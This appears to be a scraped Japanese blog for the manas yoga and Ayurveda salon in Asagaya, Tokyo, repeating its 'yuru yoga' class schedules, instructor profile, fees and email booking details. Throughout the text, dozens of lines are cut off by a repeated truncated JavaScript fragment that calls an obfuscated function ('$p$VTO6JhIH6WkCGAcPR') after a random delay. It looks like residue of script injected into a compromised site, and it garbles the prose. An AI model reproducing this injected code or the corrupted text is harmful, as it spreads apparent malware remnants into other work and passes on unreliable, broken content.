ゆるヨーガクラス開催日程(11月16日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。

普段、頑張りすぎてる体をゆっくり休ませませんか?
たくさん寝ることが体を休めているとは限りません。
寝ている間も緊張が取れていないため、
朝起きても体が痛いと言うことは良くあること。
本当に体をリラックスさせて神経を落ち着かせるには
体を意識することが大切です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

体を意識して、ゆるめることをテーマにしているマナスの「ゆるヨーガ」、
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
皆さま、ぜひご参加ください!
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11月29日(日)11時~
12月6日(日)11時~
12月12日(土)11時~
12月20日(日)11時~
12月26日(土)11時~
1月11日(月・祝)11時~
1月17日(日)11時~
1月23日(日)11時~
1月27日(水)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}


【講師≪タル先生≫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}紹介】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

プロフィール
小さい頃からクラシックバレエに打ち込んでいました。
骨格的にクラシックバレエに向いていなかったため
20歳にしてダンサーを断念。
ある日、ヒトの細胞の電子顕微鏡写真を見て、
その美しさに衝撃を受け、体に興味を持つように。
瞑想はシナプスの電気信号の伝わり方を
感じることができるということを知り、
瞑想からヨーガの世界に入りました。
今はシヴァナンダヨーガを中心に
日々を過ごしています。
まったく悩みがないとはいえませんが、
ポジティブをモットーにしています。
朝日とともに起きて、暗くなったら眠る生活というのが
夢のまた夢。

【資格】
日本ヨーガ瞑想協会ヨーガ指導者トレーニング(綿本彰) 修了
日本ヨーガ瞑想協会登録ヨーガ指導者
トラウマ・アプローチ・ヨガ指導者

《講師よりクラスの内容について》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
体は不思議に満ちています。
もっとも不思議な
もっとも身近にある世界をのぞいてみましょう。
心身ともに、快調になるというおまけつき。
光り輝く体になれます。
普通のクラスよりも少しだけゆっくり、じっくり体を見つめます。
はげしく動かないクラスです。
アレンジを加えた太陽礼拝やシンプルなポーズを
時間をかけて行います。
あまり負荷をかけないで
筋肉をゆるめ、緊張をリリースすることができるように
していくのが目的です。
むずかしくしく考える必要はありません。
まずは、見つめてみましょう。
なにか、感じられればいいな、と。
軽い気持ちではじめてみませんか。
よかったら来てくださるとうれしいです。
心からお待ちしています。
クラスのはじまる2時間前くらいに
食事をすませてください。
マットはお貸しします。
動きやすい服装でどうぞ。
蓋付きの入れ物の飲み物、タオルなどをお持ちください。

【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!

【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
こちらをクリックするとメールが立ち上がります!
①参加希望日時
②お名前
③お名前ふりがな
④お電話番号
⑤メールアドレス
を明記してお送りくださいませ。
お申込みお待ちしております。

※当サロンのヨーガクラスは宗教とは一切関係ありません

ゆるヨーガクラス開催日程(10月22日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【インドのお洋服、夏のセール中!】
普段、頑張りすぎてる体をゆっくり休ませませんか?
たくさん寝ることが体を休めているとは限りません。
寝ている間も緊張が取れていないため、
朝起きても体が痛いと言うことは良くあること。
本当に体をリラックスさせて神経を落ち着かせるには
体を意識することが大切です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

体を意識して、ゆるめることをテーマにしているマナスの「ゆるヨーガ」、
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
皆さま、ぜひご参加ください!
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10月25日(日)11時~あと1名様
11月1日(日)11時~
11月16日(月)11時~
11月29日(日)11時~
12月6日(日)11時~
12月12日(土)11時~
12月20日(日)11時~
12月26日(土)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※予約状況カレンダーにもUPしております。
⇒ マナス予約状況カレンダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
【講師紹介】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
≪タル先生≫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
日本ヨーガ瞑想協会ヨーガ指導者トレーニング(綿本彰) 修了
日本ヨーガ瞑想協会登録ヨーガ指導者
トラウマ・アプローチ・ヨガ指導者
プロフィール
小さい頃からクラシックバレエに打ち込んでいました。
骨格的にクラシックバレエに向いていなかったため
20歳にしてダンサーを断念。
ある日、ヒトの細胞の電子顕微鏡写真を見て、
その美しさに衝撃を受け、体に興味を持つように。
瞑想はシナプスの電気信号の伝わり方を
感じることができるということを知り、
瞑想からヨーガの世界に入りました。
今はシヴァナンダヨーガを中心に
日々を過ごしています。
まったく悩みがないとはいえませんが、
ポジティブをモットーにしています。
朝日とともに起きて、暗くなったら眠る生活というのが
夢のまた夢。

《講師よりクラスの内容について》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
体は不思議に満ちています。
もっとも不思議な
もっとも身近にある世界をのぞいてみましょう。
心身ともに、快調になるというおまけつき。
光り輝く体になれます。
普通のクラスよりも少しだけゆっくり、じっくり体を見つめます。
はげしく動かないクラスです。
アレンジを加えた太陽礼拝やシンプルなポーズを
時間をかけて行います。
あまり負荷をかけないで
筋肉をゆるめ、緊張をリリースすることができるように
していくのが目的です。
むずかしくしく考える必要はありません。
まずは、見つめてみましょう。
なにか、感じられればいいな、と。
軽い気持ちではじめてみませんか。
よかったら来てくださるとうれしいです。
心からお待ちしています。
クラスのはじまる2時間前くらいに
食事をすませてください。
マットはお貸しします。
動きやすい服装でどうぞ。
蓋付きの入れ物の飲み物、タオルなどをお持ちください。

【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!
【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
こちらをクリックするとメールが立ち上がります!
①参加希望日時
②お名前
③お名前ふりがな
④お電話番号
⑤メールアドレス
を明記してお送りくださいませ。
お申込みお待ちしております。
※当サロンのヨーガクラスは宗教とは一切関係ありません
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

ゆるヨーガクラス開催日程(10月15日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【インドのお洋服、夏のセール中!】
普段、頑張りすぎてる体をゆっくり休ませませんか?
たくさん寝ることが体を休めているとは限りません。
寝ている間も緊張が取れていないため、
朝起きても体が痛いと言うことは良くあること。
本当に体をリラックスさせて神経を落ち着かせるには
体を意識することが大切です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

体を意識して、ゆるめることをテーマにしているマナスの「ゆるヨーガ」、
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
皆さま、ぜひご参加ください!
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10月17日(土)11時~
10月25日(日)11時~
11月1日(日)11時~
11月16日(月)11時~
11月29日(日)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※予約状況カレンダーにもUPしております。
 ⇒ マナス予約状況カレンダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
【講師紹介】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
≪タル先生≫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
日本ヨーガ瞑想協会ヨーガ指導者トレーニング(綿本彰) 修了
日本ヨーガ瞑想協会登録ヨーガ指導者
トラウマ・アプローチ・ヨガ指導者
プロフィール
小さい頃からクラシックバレエに打ち込んでいました。
骨格的にクラシックバレエに向いていなかったため
20歳にしてダンサーを断念。
ある日、ヒトの細胞の電子顕微鏡写真を見て、
その美しさに衝撃を受け、体に興味を持つように。
瞑想はシナプスの電気信号の伝わり方を
感じることができるということを知り、
瞑想からヨーガの世界に入りました。
今はシヴァナンダヨーガを中心に
日々を過ごしています。
まったく悩みがないとはいえませんが、
ポジティブをモットーにしています。
朝日とともに起きて、暗くなったら眠る生活というのが
夢のまた夢。

《講師よりクラスの内容について》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
体は不思議に満ちています。
もっとも不思議な
もっとも身近にある世界をのぞいてみましょう。
心身ともに、快調になるというおまけつき。
光り輝く体になれます。
普通のクラスよりも少しだけゆっくり、じっくり体を見つめます。
はげしく動かないクラスです。
アレンジを加えた太陽礼拝やシンプルなポーズを
時間をかけて行います。
あまり負荷をかけないで
筋肉をゆるめ、緊張をリリースすることができるように
していくのが目的です。
むずかしくしく考える必要はありません。
まずは、見つめてみましょう。
なにか、感じられればいいな、と。
軽い気持ちではじめてみませんか。
よかったら来てくださるとうれしいです。
心からお待ちしています。
クラスのはじまる2時間前くらいに
食事をすませてください。
マットはお貸しします。
動きやすい服装でどうぞ。
蓋付きの入れ物の飲み物、タオルなどをお持ちください。

【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!
【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
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お申込みお待ちしております。
※当サロンのヨーガクラスは宗教とは一切関係ありません
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

ゆるヨーガクラス開催日程(9月2日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【インドのお洋服、夏のセール中!】
普段、頑張りすぎてる体をゆっくり休ませませんか?
たくさん寝ることが体を休めているとは限りません。
寝ている間も緊張が取れていないため、
朝起きても体が痛いと言うことは良くあること。
本当に体をリラックスさせて神経を落ち着かせるには
体を意識することが大切です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

体を意識して、ゆるめることをテーマにしているマナスの「ゆるヨーガ」、
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
皆さま、ぜひご参加ください!
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9月5日(土)11時~
9月20日(日)11時~
9月23日(水・祝)11時~
9月27日(日)11時~
10月4日(日)11時~
10月12日(月・祝)11時~
10月17日(土)11時~
10月25日(日)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※予約状況カレンダーにもUPしております。
 ⇒ マナス予約状況カレンダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
【講師紹介】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
≪タル先生≫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
日本ヨーガ瞑想協会ヨーガ指導者トレーニング(綿本彰) 修了
日本ヨーガ瞑想協会登録ヨーガ指導者
トラウマ・アプローチ・ヨガ指導者
プロフィール
小さい頃からクラシックバレエに打ち込んでいました。
骨格的にクラシックバレエに向いていなかったため
20歳にしてダンサーを断念。
ある日、ヒトの細胞の電子顕微鏡写真を見て、
その美しさに衝撃を受け、体に興味を持つように。
瞑想はシナプスの電気信号の伝わり方を
感じることができるということを知り、
瞑想からヨーガの世界に入りました。
今はシヴァナンダヨーガを中心に
日々を過ごしています。
まったく悩みがないとはいえませんが、
ポジティブをモットーにしています。
朝日とともに起きて、暗くなったら眠る生活というのが
夢のまた夢。

《講師よりクラスの内容について》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
体は不思議に満ちています。
もっとも不思議な
もっとも身近にある世界をのぞいてみましょう。
心身ともに、快調になるというおまけつき。
光り輝く体になれます。
普通のクラスよりも少しだけゆっくり、じっくり体を見つめます。
はげしく動かないクラスです。
アレンジを加えた太陽礼拝やシンプルなポーズを
時間をかけて行います。
あまり負荷をかけないで
筋肉をゆるめ、緊張をリリースすることができるように
していくのが目的です。
むずかしくしく考える必要はありません。
まずは、見つめてみましょう。
なにか、感じられればいいな、と。
軽い気持ちではじめてみませんか。
よかったら来てくださるとうれしいです。
心からお待ちしています。
クラスのはじまる2時間前くらいに
食事をすませてください。
マットはお貸しします。
動きやすい服装でどうぞ。
蓋付きの入れ物の飲み物、タオルなどをお持ちください。

【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!
【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
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①参加希望日時
②お名前
③お名前ふりがな
④お電話番号
⑤メールアドレス
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お申込みお待ちしております。
※当サロンのヨーガクラスは宗教とは一切関係ありません
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

ゆるヨーガクラス開催日程(8月16日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【インドのお洋服、夏のセール中!】
普段、頑張りすぎてる体をゆっくり休ませませんか?
たくさん寝ることが体を休めているとは限りません。
寝ている間も緊張が取れていないため、
朝起きても体が痛いと言うことは良くあること。
本当に体をリラックスさせて神経を落ち着かせるには
体を意識することが大切です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

体を意識して、ゆるめることをテーマにしているマナスの「ゆるヨーガ」、
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
皆さま、ぜひご参加ください!
spthumb_2015-04-19-17-45-47_decos.jpg

8月26日(水)11時~
8月29日(土)11時~
9月5日(土)11時~
9月20日(日)11時~
9月23日(水・祝)11時~
9月27日(日)11時~
10月4日(日)11時~
10月12日(月・祝)11時~
10月17日(土)11時~
10月25日(日)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※予約状況カレンダーにもUPしております。
 ⇒ マナス予約状況カレンダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
【講師紹介】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
≪タル先生≫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
日本ヨーガ瞑想協会ヨーガ指導者トレーニング(綿本彰) 修了
日本ヨーガ瞑想協会登録ヨーガ指導者
トラウマ・アプローチ・ヨガ指導者
プロフィール
小さい頃からクラシックバレエに打ち込んでいました。
骨格的にクラシックバレエに向いていなかったため
20歳にしてダンサーを断念。
ある日、ヒトの細胞の電子顕微鏡写真を見て、
その美しさに衝撃を受け、体に興味を持つように。
瞑想はシナプスの電気信号の伝わり方を
感じることができるということを知り、
瞑想からヨーガの世界に入りました。
今はシヴァナンダヨーガを中心に
日々を過ごしています。
まったく悩みがないとはいえませんが、
ポジティブをモットーにしています。
朝日とともに起きて、暗くなったら眠る生活というのが
夢のまた夢。

《講師よりクラスの内容について》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
体は不思議に満ちています。
もっとも不思議な
もっとも身近にある世界をのぞいてみましょう。
心身ともに、快調になるというおまけつき。
光り輝く体になれます。
普通のクラスよりも少しだけゆっくり、じっくり体を見つめます。
はげしく動かないクラスです。
アレンジを加えた太陽礼拝やシンプルなポーズを
時間をかけて行います。
あまり負荷をかけないで
筋肉をゆるめ、緊張をリリースすることができるように
していくのが目的です。
むずかしくしく考える必要はありません。
まずは、見つめてみましょう。
なにか、感じられればいいな、と。
軽い気持ちではじめてみませんか。
よかったら来てくださるとうれしいです。
心からお待ちしています。
クラスのはじまる2時間前くらいに
食事をすませてください。
マットはお貸しします。
動きやすい服装でどうぞ。
蓋付きの入れ物の飲み物、タオルなどをお持ちください。

【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!
【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
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①参加希望日時
②お名前
③お名前ふりがな
④お電話番号
⑤メールアドレス
を明記してお送りくださいませ。
お申込みお待ちしております。
※当サロンのヨーガクラスは宗教とは一切関係ありません
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

ゆるヨーガクラス開催日程(7月17日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です!
【インドのお洋服販売中!】
普段、頑張りすぎてる体をゆっくり休ませませんか?
たくさん寝ることが体を休めているとは限りません。
寝ている間も緊張が取れていないため、
朝起きても体が痛いと言うことは良くあること。
本当に体をリラックスさせて神経を落ち着かせるには
体を意識することが大切です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

体を意識して、ゆるめることをテーマにしているマナスの「ゆるヨーガ」、
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
皆さま、ぜひご参加ください!
spthumb_2015-04-19-17-45-47_decos.jpg

7月20日(月・祝)15時~
7月25日(土)11時~
8月2日(日)11時~
8月9日(日)11時~
8月26日(水)11時~
8月29日(土)11時~
9月5日(土)11時~
9月20日(日)11時~
9月23日(水・祝)11時~
9月27日(日)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※予約状況カレンダーにもUPしております。
 ⇒ マナス予約状況カレンダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
【講師紹介】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
≪タル先生≫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
日本ヨーガ瞑想協会ヨーガ指導者トレーニング(綿本彰) 修了
日本ヨーガ瞑想協会登録ヨーガ指導者
トラウマ・アプローチ・ヨガ指導者
プロフィール
小さい頃からクラシックバレエに打ち込んでいました。
骨格的にクラシックバレエに向いていなかったため
20歳にしてダンサーを断念。
ある日、ヒトの細胞の電子顕微鏡写真を見て、
その美しさに衝撃を受け、体に興味を持つように。
瞑想はシナプスの電気信号の伝わり方を
感じることができるということを知り、
瞑想からヨーガの世界に入りました。
今はシヴァナンダヨーガを中心に
日々を過ごしています。
まったく悩みがないとはいえませんが、
ポジティブをモットーにしています。
朝日とともに起きて、暗くなったら眠る生活というのが
夢のまた夢。

《講師よりクラスの内容について》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
体は不思議に満ちています。
もっとも不思議な
もっとも身近にある世界をのぞいてみましょう。
心身ともに、快調になるというおまけつき。
光り輝く体になれます。
普通のクラスよりも少しだけゆっくり、じっくり体を見つめます。
はげしく動かないクラスです。
アレンジを加えた太陽礼拝やシンプルなポーズを
時間をかけて行います。
あまり負荷をかけないで
筋肉をゆるめ、緊張をリリースすることができるように
していくのが目的です。
むずかしくしく考える必要はありません。
まずは、見つめてみましょう。
なにか、感じられればいいな、と。
軽い気持ちではじめてみませんか。
よかったら来てくださるとうれしいです。
心からお待ちしています。
クラスのはじまる2時間前くらいに
食事をすませてください。
マットはお貸しします。
動きやすい服装でどうぞ。
蓋付きの入れ物の飲み物、タオルなどをお持ちください。

【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!
【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
こちらをクリックするとメールが立ち上がります!
①参加希望日時
②お名前
③お名前ふりがな
④お電話番号
⑤メールアドレス
を明記してお送りくださいませ。
お申込みお待ちしております。
※当サロンのヨーガクラスは宗教とは一切関係ありません
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

「ゆるヨーガ」開催日程(7月2日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です!
普段、頑張りすぎてる体をゆっくり休ませませんか?
たくさん寝ることが体を休めているとは限りません。
寝ている間も緊張が取れていないため、
朝起きても体が痛いと言うことは良くあること。
本当に体をリラックスさせて神経を落ち着かせるには
体を意識することが大切です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

体を意識して、ゆるめることをテーマにしているマナスの「ゆるヨーガ」、
今後のクラスの日時andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}をお知らせします!
皆さま、ぜひご参加ください!

7月5日(日)11時~
7月12日(日)11時~
7月20日(月・祝)15時~
7月25日(土)11時~
8月2日(日)11時~
8月9日(日)11時~
8月26日(水)11時~
8月29日(土)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※予約状況カレンダーにもUPしております。
 ⇒ マナス予約状況カレンダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ヨーガをやるうえで大切なことは、体の中に意識を向けること。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
マナスのヨーガは、体に無理をさせない、我慢しない
普通の呼吸を意識する、「ゆるヨーガ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ですから
私のように体が固い、ポーズが取れない方でも心配ありません。
いつも緊張が抜けない、なんとなく疲れが抜けない、
悩みが多いなど心理的な疲労やストレスも
ヨーガを通じ自分を見つめることで、見えてくるものがあります。
自分のことをゆっくり見つめる時間、最近ないですよね?
私もです。(笑)
だから、ゆるヨーガの時間が大切だと思っています。
この心地よさ、ぜひ体験してみてください。
【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!
【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
こちらをクリックするとメールが立ち上がります!
①参加希望日時
②お名前
③お名前ふりがな
④お電話番号
⑤メールアドレス
を明記してお送りくださいませ。
お申込みお待ちしております。
※当サロンのヨーガクラスは宗教とは一切関係ありません
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

「ゆるヨーガ」開催日程(6月12日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です!
今後のヨーガクラスの日時andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}をお知らせします!
新たに8月のスケジュールも出ましたので、
皆さま、ぜひご参加ください!

6月14日(日)11時~
6月24日(水)18時30分~
6月27日(土)11時~
7月5日(日)11時~
7月12日(日)11時~
7月20日(月・祝)15時~
7月25日(土)11時~
8月2日(日)11時~
8月9日(日)11時~
8月26日(水)11時~
8月29日(土)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※予約状況カレンダーにもUPしております。
 ⇒ マナス予約状況カレンダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ヨーガをやるうえで大切なことは、体の中に意識を向けること。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
マナスのヨーガは、体に無理をさせない、我慢しない
普通の呼吸を意識する、「ゆるヨーガ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ですから
私のように体が固い、ポーズが取れない方でも心配ありません。
いつも緊張が抜けない、なんとなく疲れが抜けない、
悩みが多いなど心理的な疲労やストレスも
ヨーガを通じ自分を見つめることで、見えてくるものがあります。
自分のことをゆっくり見つめる時間、最近ないですよね?
私もです。(笑)
だから、ゆるヨーガの時間が大切だと思っています。
この心地よさ、ぜひ体験してみてください。
【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!
【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
こちらをクリックするとメールが立ち上がります!
①参加希望日時
②お名前
③お名前ふりがな
④お電話番号
⑤メールアドレス
を明記してお送りくださいませ。
お申込みお待ちしております。
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

ヨーガ講師紹介ページ

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です
【ヨーガクラスの日程など最新情報はこちらから】
今日は、マナスのヨーガクラスを担当してくださってる
講師をご紹介します。
【講師紹介】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
≪タル先生≫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
日本ヨーガ瞑想協会ヨーガ指導者トレーニング(綿本彰) 修了
日本ヨーガ瞑想協会登録ヨーガ指導者
トラウマ・アプローチ・ヨガ指導者
プロフィール
小さい頃からクラシックバレエに打ち込んでいました。
骨格的にクラシックバレエに向いていなかったため
20歳にしてダンサーを断念。
ある日、ヒトの細胞の電子顕微鏡写真を見て、
その美しさに衝撃を受け、体に興味を持つように。
瞑想はシナプスの電気信号の伝わり方を
感じることができるということを知り、
瞑想からヨーガの世界に入りました。
今はシヴァナンダヨーガを中心に
